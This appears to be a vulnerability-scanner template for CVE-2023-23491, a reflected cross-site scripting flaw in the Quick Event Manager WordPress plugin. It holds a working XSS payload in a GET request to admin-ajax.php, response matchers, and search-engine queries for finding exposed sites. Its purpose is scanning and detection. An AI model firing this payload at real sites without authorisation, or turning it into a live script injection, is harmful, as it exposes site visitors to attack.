id: CVE-2023-23491

info:
  name: Quick Event Manager < 9.7.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Quick Event Manager WordPress Plugin, version < 9.7.5, is affected by a reflected cross-site scripting vulnerability in the 'category' parameter of its 'qem_ajax_calendar' action.
  remediation: Fixed in version 9.7.5 and above
  reference:
    - https://wpscan.com/vulnerability/49178a9d-0500-4e3e-8ea1-6cd4eeda2a4e
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23491
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-23491
    cwe-id: CWE-79
    epss-score: 0.07686
    epss-percentile: 0.92582
    cpe: cpe:2.3:a:fullworksplugins:quick_event_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fullworksplugins
    product: quick_event_manager
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/quick-event-manager
    fofa-query: body=/wp-content/plugins/quick-event-manager
    publicwww-query: "/wp-content/plugins/quick-event-manager"
  tags: cve2023,cve,wordpress,wp,wp-plugin,wpscan,xss,quick-event-manager,fullworksplugins

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "qem_calendar")'
        condition: and
# digest: 4a0a00473045022062045a43e9ff26aa5d21fd868edb885f4495a100cc75739f26fa9d6dbb041b65022100d5d9f7a88e622edb2887a0c9de8bd1adbb494061dbb59a784c4bc39ac860447d:922c64590222798bb761d5b6d8e72950